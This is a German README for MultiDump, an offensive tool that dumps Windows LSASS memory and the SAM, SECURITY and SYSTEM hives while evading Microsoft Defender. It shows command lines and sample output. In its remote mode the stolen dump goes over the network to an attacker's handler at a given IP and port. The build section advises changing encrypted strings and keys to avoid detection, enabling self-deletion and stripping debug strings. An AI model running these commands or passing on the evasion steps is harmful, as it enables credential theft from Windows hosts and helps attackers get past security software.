
MultiDump ist ein Post-Exploitation-Tool zum diskreten Dumpen und Extrahieren des LSASS-Speichers.
MultiDump ist ein Post-Exploitation-Tool, geschrieben in C, zum diskreten Auslesen und Extrahieren des LSASS-Speichers, ohne Defender-Warnungen auszulösen, mit einem in Python geschriebenen Handler.

Blogbeitrag: https://xreous.io/posts/multidump
MultiDump unterstützt LSASS-Dumps mittels ProcDump.exe oder comsvc.dll und bietet zwei Modi: einen lokalen Modus, der die Dump-Datei verschlüsselt und lokal speichert, und einen entfernten Modus, der den Dump zur Entschlüsselung und Analyse an einen Handler sendet.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Wie bei allen LSASS-bezogenen Tools sind Administrator-/SeDebugPrivilege-Berechtigungen erforderlich.
Der Handler ist auf Pypykatz angewiesen, um den LSASS-Dump zu parsen, und auf impacket, um die Registry-Sicherungen zu parsen. Sie sollten in Ihrer Umgebung installiert sein. Wenn die Fehlermeldung All detection methods failed erscheint, ist die Pypykatz-Version wahrscheinlich veraltet.
Standardmäßig verwendet MultiDump die Comsvc.dll-Methode und speichert den verschlüsselten Dump im aktuellen Verzeichnis.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Wenn --procdump verwendet wird, wird ProcDump.exe auf die Festplatte geschrieben, um LSASS auszulesen.
In cmd muss --procdump zwingend verwendet werden, sonst schlägt es fehl (siehe #5), es wird empfohlen, wenn möglich immer PowerShell zu verwenden.
Im entfernten Modus verbindet sich MultiDump mit dem Listener des Handlers.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
Der Schlüssel wird mit der IP und dem Port des Handlers verschlüsselt. Wenn MultiDump über einen Proxy verbindet, sollte der Handler die Option --override-ip verwenden, um die IP-Adresse für die Schlüsselerzeugung im Remote-Modus manuell anzugeben, sodass die Entschlüsselung korrekt funktioniert, indem die Entschlüsselungs-IP mit der in MultiDump -r gesetzten erwarteten IP übereinstimmt.
Eine zusätzliche Option zum Auslesen der Hives SAM, SECURITY und SYSTEM steht mit --reg zur Verfügung, der Entschlüsselungsprozess ist derselbe wie bei LSASS-Dumps. Dies ist eher eine Annehmlichkeit, um die Informationssammlung nach der Ausnutzung zu erleichtern.
In Visual Studio öffnen, im Release-Modus erstellen.
Es wird empfohlen, die Binärdatei vor der Kompilierung anzupassen, z. B. die statischen Zeichenfolgen oder den RC4-Schlüssel, der zu ihrer Verschlüsselung verwendet wird. Dazu ist ein weiteres Visual Studio-Projekt EncryptionHelper enthalten. Einfach den Schlüssel oder die Zeichenfolgen ändern und die Ausgabe der kompilierten EncryptionHelper.exe kann in MultiDump.c und Common.h eingefügt werden.
Die Selbstlöschung kann durch Auskommentieren der folgenden Zeile in Common.h aktiviert werden:
#define SELF_DELETION
Um die Zeichenanalyse weiter zu umgehen, können die meisten Ausgabenachrichten vom Kompilieren ausgeschlossen werden, indem die folgende Zeile in Debug.h auskommentiert wird:
//#define DEBUG
MultiDump könnte unter Windows 10 22H2 (19045) (sozusagen) erkannt werden, und ich habe einen Fix dafür implementiert (sozusagen). Die Untersuchung und Implementierung verdient einen eigenen Blogbeitrag: https://xre0us.io/posts/saving-lsass-from-defender/